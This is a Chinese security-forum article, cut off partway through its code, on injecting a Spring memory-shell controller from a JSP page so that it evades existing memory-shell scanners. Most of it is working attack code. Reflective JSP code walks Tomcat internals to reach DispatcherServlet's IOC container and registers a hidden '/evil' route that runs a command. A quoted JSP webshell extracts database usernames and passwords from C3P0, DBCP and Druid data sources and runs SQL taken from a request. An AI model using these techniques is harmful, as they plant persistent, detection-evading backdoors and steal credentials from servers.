问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
在 JSP 中优雅的注入 Spring 内存马
渗透测试
JSP 下注入 Spring 内存马 & Spring Hack 无条件的一种方法
在 JSP 中优雅的注入 Spring 内存马 ======================= 前言 -- 随着内存马的检测工具不断完善, 内存马的排查也越来越严格, 目前市面上的主流内存马排查工具通常有两款: 4ra1n 师傅的: <https://github.com/4ra1n/shell-analyzer>, 其中核心思路为, 使用`JavaAgent`技术进行`Java 类`的重新加载, 筛选出可疑的类, 并反编译出其 class 字节码进行检测. c0ny1 师傅的: <https://github.com/c0ny1/java-memshell-scanner>, 其中核心思路为, 内存马是注入到哪个变量的, 那么就通过反射遍历哪个变量, 筛选出可疑的类. 这些手法通过一个单独的`jsp`文件即可检测. 它们都囊括了`Servlet, Filter, Listener`内存马的检测, 但都没有专门的为`Spring`类型的内存马进行检测. 所以在这里我们可以通过一系列手段进行注入`Spring`内存马进行逃避检测, 当然本篇文章并不会介绍往常的`在 Controller 中注入 Controller (但会给出案例演示以示区别)`, 而是在 `Jsp (Servlet)`中进行注入`Controller (Spring)`. 基础环境搭建 ------ 在这里本篇的文章都会基于该环境进行演示, 以更好的描述文章中所提到的点以及问题. 这里以`SpringMVC + Tomcat 8.5.0`进行创建项目, 环境大致如下. ### 依赖信息 pom.xml `pom.xml`文件内容: ```xml <properties> <spring.version>5.3.39</spring.version> <tomcat.version>8.5.0</tomcat.version> </properties> <dependencies> <!-- c3p0 --> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency> <!-- mysql 驱动 --> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.28</version> </dependency> <!--Tomcat核心库--> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>${tomcat.version}</version> </dependency> <!--Tomcat工具库--> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-util</artifactId> <version>${tomcat.version}</version> </dependency> <!--JSPAPI--> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.2</version> </dependency> <!--JSTL标签库--> <dependency> <groupId>javax.servlet.jsp.jstl</groupId> <artifactId>jstl-api</artifactId> <version>1.2</version> <scope>provided</scope> </dependency> <!--ServletAPI--> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency> <!--Spring AOP--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>${spring.version}</version> </dependency> <!--Spring Aspects--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aspects</artifactId> <version>${spring.version}</version> </dependency> <!--Spring Beans--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>${spring.version}</version> </dependency> <!--Spring Context--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>${spring.version}</version> </dependency> <!--Spring Core--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>${spring.version}</version> </dependency> <!--Spring Expression Language (SpEL)--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>${spring.version}</version> </dependency> <!--Spring JDBC--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jdbc</artifactId> <version>${spring.version}</version> </dependency> <!--Spring ORM--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-orm</artifactId> <version>${spring.version}</version> </dependency> <!--Spring Transaction Management--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>${spring.version}</version> </dependency> <!--Spring Web--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>${spring.version}</version> </dependency> <!--Spring Web MVC--> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${spring.version}</version> </dependency> </dependencies> ``` 其中引入`Tomcat 8.5.0 & SpringMVC 5.3.39`进行调试. ### 组件信息 web.xml 随后定义`/webapp/WEB-INF/web.xml`文件内容如下: ```xml <context-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:spring-parent.xml</param-value> </context-param> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <servlet> <servlet-name>dispatcherServlet</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:spring-child.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>dispatcherServlet</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> ``` 特别注意这里定义的`ContextLoaderListener`中读取的`contextConfigLocation`为`spring-parent.xml`. 而`DispatcherServlet`中读取的`contextConfigLocation`为`spring-child.xml`, 这里笔者这样定义也是有含义的, 它会涉及到`Spring`的父子容器问题. ### Spring IOC 定义 定义`/resources/spring-child.xml`文件内容如下: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd"> <context:component-scan base-package="com.heihu577.controller"/> <!-- 扫描包 --> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <property name="prefix" value="/WEB-INF/pages/"/> <property name="suffix" value=".jsp"/> </bean> <!-- 定义视图解析器 --> <bean class="com.mchange.v2.c3p0.ComboPooledDataSource"> <property name="driverClass" value="com.mysql.cj.jdbc.Driver"/> <property name="jdbcUrl" value="jdbc:mysql://localhost:3306/mysql?useSSL=true&useUnicode=true&characterEncoding=utf-8"/> <property name="user" value="root"/> <property name="password" value=""/> </bean> <!-- 定义数据源配置 --> <mvc:annotation-driven/> <!-- 能支持 Spring MVC 高级功能, JSR 303 校验, 映射动态请求 --> <mvc:default-servlet-handler/> <!-- 将 Spring MVC 不能处理的请求, 交给 Tomcat 处理, 例如 css js --> </beans> ``` 其中`/resources/spring-parent.xml`定义为如下内容: ```xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:utils="http://www.springframework.org/schema/util" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/util https://www.springframework.org/schema/util/spring-util.xsd"> <utils:properties id="myConfig"> <!-- 定义一个 Properties 类型的 Bean, 假装数据源配置. --> <prop key="username">root</prop> <prop key="password">toor</prop> </utils:properties> </beans> ``` 其中为什么这样定义, 在后续部分进行说明. ### SpringMVC Controller 定义 定义在`com.heihu577.controller`中, 如下: ```java @Controller public class HeihuController { @RequestMapping("/hello") @ResponseBody public String hello() { return "hello"; } } ``` 一个特别简单的接受请求的 Controller, 后续会在该 Controller 上进行添加代码进行讲解. 传统 Controller 注入方式 ------------------ 在介绍这种方法之前, 我们先来回顾一下传统的 Controller 注入方式, 创建如下 Controller: ```java @Controller public class InjectController { class EvilController { public void evil() throws IOException { Runtime.getRuntime().exec("calc"); } } @RequestMapping("/test") @ResponseBody public String test(HttpServletRequest request) throws Exception { WebApplicationContext ioc = (WebApplicationContext) request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE); RequestMappingHandlerMapping requestMappingHandlerMapping = ioc.getBean(RequestMappingHandlerMapping.class); RequestMappingInfo requestMappingInfo = new RequestMappingInfo(new PatternsRequestCondition("/evil"), new RequestMethodsRequestCondition(), new ParamsRequestCondition(), new HeadersRequestCondition(), new ConsumesRequestCondition(), new ProducesRequestCondition(), new RequestConditionHolder(null)); Class<?> abstractHandlerMethodMapping = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping"); Method registerHandlerMethodMethod = abstractHandlerMethodMapping.getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, Object.class); registerHandlerMethodMethod.setAccessible(true); Method declaredMethod = EvilController.class.getDeclaredMethod("evil"); System.out.println(declaredMethod); registerHandlerMethodMethod.invoke(requestMappingHandlerMapping, new EvilController(), declaredMethod, requestMappingInfo); System.out.println(registerHandlerMethodMethod); return "Hello"; } } ``` 这是一个经典的注入`Spring内存马`的案例, 当注入成功后访问`/test`即可注入`/evil`路由的恶意方法, 随后访问即可弹窗, 如下: ![image-20241218152333624.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-da2143b1a41421bdc4f7bef067e3120bef8b085e.png) ### ApplicationContext 获取方式 \[IOC\] 在上面我们知道的是, 注入`Spring`内存马我们需要获取到`ApplicationContext (IOC 容器)` 而通过 ioc 容器来修改其`RequestMappingHandlerMapping`这个类型的`Bean`中的信息, 达到内存马注入的效果. 那么核心内容则转换到, 如何获取《关键的 ioc》 身上. #### 内存马注入 - 传统的 IOC 获取的四种方式 为什么是《关键的 ioc》呢?难道其中有什么区别吗?是的, 笔者先在这里埋下伏笔, 我们先看一下传统的`IOC`容器获取的方式: ```java @RequestMapping("/getIoc") @ResponseBody public String getIoc() { // 获取 Root WebApplicationContext WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext(); WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext( WebApplicationContextUtils.getWebApplicationContext( ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getServletContext() ).getServletContext() ); // 获取 Child WebApplicationContext WebApplicationContext context3 = RequestContextUtils.findWebApplicationContext( (HttpServletRequest) ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(), (ServletContext) ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext() ); WebApplicationContext context4 = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); System.out.println(context1); // Root WebApplicationContext System.out.println(context2); // Root WebApplicationContext System.out.println(context3); // WebApplicationContext for namespace 'dispatcherServlet-servlet' System.out.println(context4); // WebApplicationContext for namespace 'dispatcherServlet-servlet' return "success"; } ``` 为了方便演示, 笔者将定义这样一个`Controller`进行总结市面上的获取方式, 最终会看到有两个`Root WebApplicationContext`以及两个`WebApplicationContext for namespace 'dispatcherServlet-servlet'`, 这两个都是 IOC 容器, 它们有什么区别呢? #### SpringMVC 父子容器介绍 在这里会进行介绍 SpringMVC 的父子容器架构, 从根本上理解 SpringMVC 父子容器. ##### 官网解释 \[官方说明文档\] 实际上这两个是 SpringMVC 中的父子容器, `Root WebApplicationContext`表示为父容器, `WebApplicationContext for namespace 'dispatcherServlet-servlet'`表示为子容器, 它们之间的关系在`SpringMVC`官网中给了一张设计图: ![image-20241218153755634.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4b0f50bad172d6cd60f7f8422e48c8e4adabab33.png) 父容器(Root WebApplicationContext): > 作用:根容器是整个Web应用的基础容器,通常用于管理应用的通用Bean,如数据源(DataSource)、事务管理器(Transaction Manager)、业务服务(Service Layer)等。 > > 配置:根容器的配置通常在 web.xml 文件中通过 ContextLoaderListener 加载,配置文件通常是 applicationContext.xml。 > > 生命周期:根容器在整个Web应用的生命周期内一直存在,直到应用停止。 子容器(Child WebApplicationContext) > 作用:子容器是每个Servlet(如 DispatcherServlet)的专用容器,用于管理与特定Servlet相关的Bean,如Controller、视图解析器(ViewResolver)、拦截器(Interceptor)等。 > > 配置:子容器的配置通常在 DispatcherServlet 的配置文件中加载,配置文件通常是 servlet-context.xml 或者通过 @Configuration 类配置。 > > 生命周期:子容器的生命周期与对应的Servlet相同,当Servlet初始化时创建,当Servlet销毁时销毁。 上面是 SpringMVC 设计时的理念, 在我们当下的代码环境下: 1. 当配置`ContextLoaderListener`并指明了`context-param`时, 实际上是配置了`父容器`. 2. 当配置`DispatcherServlet`并指明了`init-param`时, 实际上是配置了`子容器`. 也就是我们在`web.xml`文件中的这张图: ![image-20241218154845527.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2d553d8ec1ad6a34aaf593ab6501c6f795c2fd82.png) 现在理解为什么笔者的命名如此《特殊》了吧, 那么它们之间的关系又是怎么样的呢?下面我们从 API 层来描述这个问题. ##### Spring 案例解释 \[API 层分析\] 由于官网是在`SpringMVC`中进行提及的, 如果不能亲身体会到它们之间的区别, 还是不理解为什么这样设计, 笔者在这里给出一个测试案例来手动构建一下父子容器的配置, 以及一个子容器调用父容器的 DEMO: ```java package com.test; import org.springframework.context.support.ClassPathXmlApplicationContext; public class MyTest { public static void main(String[] args) { // 定义父容器 ClassPathXmlApplicationContext parent = new ClassPathXmlApplicationContext("spring-parent.xml"); // 定义子容器 ClassPathXmlApplicationContext child = new ClassPathXmlApplicationContext("spring-child.xml"); // 建立父子关系 child.setParent(parent); // 刷新 Bean child.refresh(); // 通过子容器得到父容器中的 myConfig Object bean = child.getBean("myConfig"); // 得到父容器中的值 {password=parent, username=root} System.out.println(bean); } } ``` 从最终运行结果我们可以看到的是, 成功的通过子容器得到父容器中定义的 Bean 的值了. 我们来看一下`ClassPathXmlApplicationContext::setParent`方法的定义: ![image-20241218155716377.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-adf2acb7424d2c080d8ad2b61f5cb9e3f98dedd1.png) 由此我们可以从中得到的是: 子容器指向了父容器, 指向方向是单向的, 子容器可以访问父容器的Bean, 父容器无法访问子容器的 Bean. ##### SpringMVC 父子容器 \[源码分析\] 在 SpringMVC 中核心类 DispatcherServlet 中的生命周期初始化阶段, 如果配置了`ContextLoaderListener`类, 那么会调用其`contextInitialized`方法, 因为它实现了`ServletContextListener`接口, 看一下方法实现: ![image-20241218160337362.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-751c2fa19a51d95d292f972b7d44329f277634bc.png) 在这里我们可以看到的是, 配置了`ContextLoaderListener`则会初始化一个容器, 并且将该容器放入到`ServletContext`这个域中, 其中 Key 为`WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE`, Value 也就是创建的父容器了. 这里特别注意的是, 还将当前父容器放入到`currentContextPerThread`这个线程中去了, 后面我们还会再与它相遇. 而这个父容器会在我们初始化正常的`Bean`中, 使用`setParent`进行指明, 建立其父子关系: ![image-20241218160745254.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a3f8c15ad0114d595f2eda0e3e7ef6d5c947dbc5.png) 从中我们可以看到的是, `DispatcherServlet`中的`IOC容器`初始化是通过`WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE`来进行得到父容器的, 与我们上面的`ContextLoaderListener`初始化形成对应关系. 而最终`DispatcherServlet`初始化容器时, 是根据每次`HTTP`请求过来, 将生成的子容器放入到`request`域中, 其中核心逻辑如下: ![image-20241218161650327.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c5894c8737ef1f19f634fe23fe179313b5afafb2.png) 从这里我们可以得出结论: > 父容器存放至 ServletContext 域中, 其中 Key 为: WebApplicationContext.ROOT\_WEB\_APPLICATION\_CONTEXT\_ATTRIBUTE, 并且放入到当前线程, 变量名为 currentContextPerThread > > 子容器存放至 HttpServletRequest 域中, 其中 Key 为: DispatcherServlet.WEB\_APPLICATION\_CONTEXT\_ATTRIBUTE 给出一张经典图: ![Tu.jpg](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-0bb7b02b5049bcbff2864188cb92a6a4181428db.jpg) ### 传统 IOC 获取方式原理 在上面《内存马注入 - 传统的 IOC 获取方式》中有介绍到四种方式, 现在我们依次来对它们的原理进行刨析. #### 第一种方式源码分析 \[父容器获取\] 第一种的核心获取 IOC 容器的思路代码如下: ```java WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext(); ``` 跟进源码看一下做了一些什么操作: ![image-20241218163325604.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-fbe9250437bf7ce2122866450a20a158233482f1.png) 这种方式很简单, 在上面我们提到过, 父容器最终会放入`currentContextPerThread`中, 所以迎刃而解. #### 第二种方式源码分析 \[父容器获取\] ![image-20241218163558427.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8f4da1291287890b6a2a3b3b9358854c150712a5.png) 这种方式很简单, 父容器最终也会设置到`WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE`中, 迎刃而解. #### 第 三 & 四 种方式源码分析 \[子容器获取\] ![image-20241218164105128.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-034f769421af2002aa7b8477441e83cdeff2aea6.png) 都是通过我们上面总结的`DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE`进行获取, 万变不离其宗. #### 抛出问题: JSP 中如何获取子容器 由于`父容器`最终是放在了`ServletContext`中, 它是由`ServletContext`生命周期启动时创建的, 所以我们在`JSP`中当然可以获得到父容器, 如下代码即可: ```jsp <%@ page import="org.springframework.web.context.WebApplicationContext" %> <%@ page import="org.springframework.context.ApplicationContext" %> <% ServletContext servletContext = request.getServletContext(); ApplicationContext ioc = (ApplicationContext) servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE); out.println("Parent => " + ioc); // Parent => Root WebApplicationContext, started on Wed Dec 18 17:03:52 CST 2024 %> ``` 但是我们并不能通过父容器来进行注入`Spring`内存马, 因为父容器中根本没有`RequestMappingHandlerMapping`这个`Bean` (不走DispatcherServlet::init 逻辑, 不会进行给予 RequestMappingHandlerMapping). 所以我们只能在子容器中进行注入`Spring`内存马. 而由于`子容器`是由`DispatcherServlet`进行创建的, 最终放入到`request`域对象中, 所以在 JSP 中根本无法获取得到. 也就是说当我们`每次请求经过DispatcherServlet (也就是访问 Controller)`时, 才会得到子容器. 如下是 JSP 中获取子容器失败的场景, Controller 获取成功的场景在之前已经演示过了不再重复赘述: ```jsp <%@ page import="org.springframework.web.servlet.DispatcherServlet" %> <% Object attribute = request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE); out.println(attribute); // 返回 null %> ``` 在 JSP 中注入 Spring 内存马 -------------------- 下面看笔者如何来突破这个限制, 在获取到 IOC 子容器的同时, 从而达到在`JSP`中注入`Spring`的内存马的目的. ### DispatcherServlet 的 IOC 容器保存点 \[源码分析\] 而我们知道的是, 我们给`DispatcherServlet`配置了`<load-on-startup>`标签, 也就意味着在容器启动时, 就会调用`DispatcherServlet::init()`方法进行初始化操作, 而根据继承链实际上`init`方法在`HttpServletBean`中有所定义, 那么我们来看一下这个方法的执行流程: ![image-20241218173312400.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-09740175c15da9a9401241d0ef50bd2fd506cc3d.png) 这里我们注意的是第二步与第九步, 第二部初始化 IOC 容器后放入到了`FrameworkServlet::webApplicationContext`属性中. 而第九步的图中则是我们最终 IOC 容器的结果, 里面存放了一系列的 Bean. ### 在 Jsp 中获取 DispatcherServlet 由于 IOC 容器最终是放置在`DispatcherServlet`的父类`FrameworkServlet::webApplicationContext`中的, 如果我们可以得到`DispatcherServlet`, 通过反射的方式即可获得到`webApplicationContext`这个 IOC 容器. 而我们知道的是, `Jsp`的本质是`Servlet`, 所以当前这个问题不免可以简化为: `AServlet`如何获取`BServlet`. 那么我们应该如何进行获取呢?实际上`ServletContext`中存储了`AServlet & BServlet`, 我们在`AServlet`中完全可以通过`request.getServletContext()`来获得其`ServletContext`引用: ```jsp <% ServletContext servletContext = request.getServletContext(); out.println(servletContext); // org.apache.catalina.core.ApplicationContextFacade@6288ca6f %> ``` 而`AServlet & BServlet`最终放入到了`ServletContext`对象中的哪些属性下, 这个问题之前在我们研究`Tomcat - Servlet`内存马注入时实际上有所研究过, 现在带大家重温一下. #### Servlet 存放 ServletContext 位置 & 获取子容器思路 > 这里 Tomcat 内存马注入不会再叙述, 看笔者文章: <https://www.freebuf.com/vuls/408515.html> 这里我们直接定位到`org.apache.catalina.core.ApplicationContext::addServlet`, 看一下它的逻辑: ![image-20241218182253078.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-693388985b468cc88043259f6eeb03cd01813f80.png) 最终是对`children`这个成员属性进行操作的, 那么我们的所有的`Servlet`都放入在`children`属性中. 而每个`children`是`Wrapper`, `Servlet`存放在它的`instance`属性中. ![image-20241218190803109.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-45052b762ba25290e3936ffdaddf2405a5c878a3.png) 那么我们可以根据这个链路, 通过反射进行获取`DispatcherServlet`. 而`DispatcherServlet`的父类`FrameworkServlet`提供了`getWebApplicationContext`可以直接获取到子容器: ![image-20241218192136445.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f550f649e979a264a328b99dba2a03543111fad4.png) #### 编写脚本获取子容器 与 Tomcat 内存马注入不同的点是, 在这里我们对其一个获取并遍历, 从而拿到`DispatcherServlet`, 调用其`getWebApplicationContext`拿到它的子容器: ```jsp <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.Map" %> <%@ page import="org.springframework.web.servlet.DispatcherServlet" %> <%@ page import="org.springframework.web.context.support.XmlWebApplicationContext" %> <% ServletContext servletContext = request.getServletContext(); Field context1 = servletContext.getClass().getDeclaredField("context"); context1.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) context1.get(servletContext); Field context2 = applicationContext.getClass().getDeclaredField("context"); context2.setAccessible(true); org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) context2.get(applicationContext); Field childrenField = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children"); childrenField.setAccessible(true); java.util.HashMap<String, org.apache.catalina.Container> children = (java.util.HashMap) childrenField.get(standardContext); // 获得到所有 Servlet 名称 XmlWebApplicationContext ioc = null; for (Map.Entry<String, org.apache.catalina.Container> child : children.entrySet()) { org.apache.catalina.Container standardWrapper = child.getValue(); Field instance = standardWrapper.getClass().getDeclaredField("instance"); instance.setAccessible(true); Object o = instance.get(standardWrapper); if (o instanceof org.springframework.web.servlet.DispatcherServlet) { ioc = (XmlWebApplicationContext) ((DispatcherServlet) o).getWebApplicationContext(); } } out.println(ioc); // WebApplicationContext for namespace 'dispatcherServlet-servlet', started on Wed Dec 18 19:05:25 CST 2024, parent: Root WebApplicationContext %> ``` 这里我们成功通过反射获得到了子容器, 它的反射关系图如下: ![ServletContext2IOC.jpg](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-41b65f23f84c13e81748e97ae36257d8fa800061.jpg) ### 注入内存马 接下来我们只需要在子容器中进行注入`Spring`内存马即可. 因为已有`IOC`容器, 我们只需要将《传统 Controller 注入方式》中`ioc.getBean`中复制粘贴出一个内存马即可, 完整代码如下: ```jsp <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.Map" %> <%@ page import="org.springframework.web.servlet.DispatcherServlet" %> <%@ page import="org.springframework.web.context.support.XmlWebApplicationContext" %> <%@ page import="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %> <%@ page import="org.springframework.web.servlet.mvc.method.RequestMappingInfo" %> <%@ page import="org.springframework.web.servlet.mvc.condition.*" %> <%@ page import="java.lang.reflect.Method" %> <%! public static class HeihuController { public void evilFunction() throws Exception { Runtime.getRuntime().exec("calc"); } } %> <% ServletContext servletContext = request.getServletContext(); Field context1 = servletContext.getClass().getDeclaredField("context"); context1.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) context1.get(servletContext); Field context2 = applicationContext.getClass().getDeclaredField("context"); context2.setAccessible(true); org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) context2.get(applicationContext); Field childrenField = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children"); childrenField.setAccessible(true); java.util.HashMap<String, org.apache.catalina.Container> children = (java.util.HashMap) childrenField.get(standardContext); // 获得到所有 Servlet 名称 XmlWebApplicationContext ioc = null; for (Map.Entry<String, org.apache.catalina.Container> child : children.entrySet()) { org.apache.catalina.Container standardWrapper = child.getValue(); Field instance = standardWrapper.getClass().getDeclaredField("instance"); instance.setAccessible(true); Object o = instance.get(standardWrapper); if (o instanceof org.springframework.web.servlet.DispatcherServlet) { ioc = (XmlWebApplicationContext) ((DispatcherServlet) o).getWebApplicationContext(); } } // 以上是获取 IOC 过程, 以下是内存马注入逻辑 RequestMappingHandlerMapping requestMappingHandlerMapping = ioc.getBean(RequestMappingHandlerMapping.class); RequestMappingInfo requestMappingInfo = new RequestMappingInfo(new PatternsRequestCondition("/evil"), new RequestMethodsRequestCondition(), new ParamsRequestCondition(), new HeadersRequestCondition(), new ConsumesRequestCondition(), new ProducesRequestCondition(), new RequestConditionHolder(null)); Class<?> abstractHandlerMethodMapping = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping"); Method registerHandlerMethodMethod = abstractHandlerMethodMapping.getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, Object.class); registerHandlerMethodMethod.setAccessible(true); Method declaredMethod = HeihuController.class.getDeclaredMethod("evilFunction"); registerHandlerMethodMethod.invoke(requestMappingHandlerMapping, new HeihuController(), declaredMethod, requestMappingInfo); out.println("Inject Success..."); %> ``` 最终注入结果: ![image-20241218193932380.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-34602ab17c1b32ba84bb3c9c84af3aa8f4047f39.png) ### 扩展: 无条件获取数据源配置信息 当然我们获取到`IOC`容器之后, 不仅仅只可以进行注入内存马操作, 可以通过获取`Bean`中的数据库连接池, 通过反射查询出其数据库账号密码等操作, 以及修改某些重要的`Bean`的属性值等操作, 在这里做一个简单的扩展, 拿数据源中的账号密码. 这里可以参考: <https://www.javasec.org/javase/JDBC/DataSource.html> 中的 《Spring 数据源Hack》, 在这里对其原话进行一个引用: > 我们通常可以通过查找Spring数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。 > > 某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(`高危操作,请勿违法!`)证明下危害,那么您可以在`webshell`中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码。 在实战场景中, 大部分项目是没有配置父容器的, 也就是没有定义`ContextLoaderListener`监听器, 那么使用 Spring 提供的 API 就会失效! #### 原文中提供的方式会失败 \[需 ContextLoaderListener 支持\] 在这里笔者贴一下 <https://www.javasec.org/javase/JDBC/DataSource.html> 中提供的获取数据源配置的代码: ```jsp <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.springframework.context.ApplicationContext" %> <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %> <%@ page import="javax.sql.DataSource" %> <%@ page import="java.sql.Connection" %> <%@ page import="java.sql.PreparedStatement" %> <%@ page import="java.sql.ResultSet" %> <%@ page import="java.sql.ResultSetMetaData" %> <%@ page import="java.util.List" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <style> th, td { border: 1px solid #C1DAD7; font-size: 12px; padding: 6px; color: #4f6b72; } </style> <%! // C3PO数据源类 private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource"; // DBCP数据源类 private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource"; //Druid数据源类 private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource"; /** * 获取所有Spring管理的数据源 * @param ctx Spring上下文 * @return 数据源数组 */ List<DataSource> getDataSources(ApplicationContext ctx) { List<DataSource> dataSourceList = new ArrayList<DataSource>(); String[] beanNames = ctx.getBeanDefinitionNames(); for (String beanName : beanNames) { Object object = ctx.getBean(beanName); if (object instanceof DataSource) { dataSourceList.add((DataSource) object); } } return dataSourceList; } /** * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类 * @param ctx Spring上下文对象 * @return 数据源配置字符串 * @throws ClassNotFoundException 数据源类未找到异常 * @throws NoSuchMethodException 反射调用时方法没找到异常 * @throws InvocationTargetException 反射调用异常 * @throws IllegalAccessException 反射调用时不正确的访问异常 */ String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { List<DataSource> dataSourceList = getDataSources(ctx); for (DataSource dataSource : dataSourceList) { String className = dataSource.getClass().getName(); String url = null; String UserName = null; String PassWord = null; if (C3P0_CLASS_NAME.equals(className)) { Class clazz = Class.forName(C3P0_CLASS_NAME); url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource); UserName = (String) clazz.getMethod("getUser").invoke(dataSource); PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource); } else if (DBCP_CLASS_NAME.equals(className)) { Class clazz = Class.forName(DBCP_CLASS_NAME); url = (String) clazz.getMethod("getUrl").invoke(dataSource); UserName = (String) clazz.getMethod("getUsername").invoke(dataSource); PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource); } else if (DRUID_CLASS_NAME.equals(className)) { Class clazz = Class.forName(DRUID_CLASS_NAME); url = (String) clazz.getMethod("getUrl").invoke(dataSource); UserName = (String) clazz.getMethod("getUsername").invoke(dataSource); PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource); } return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>"; } return null; } %> <% String sql = request.getParameter("sql");// 定义需要执行的SQL语句 // 获取Spring的ApplicationContext对象 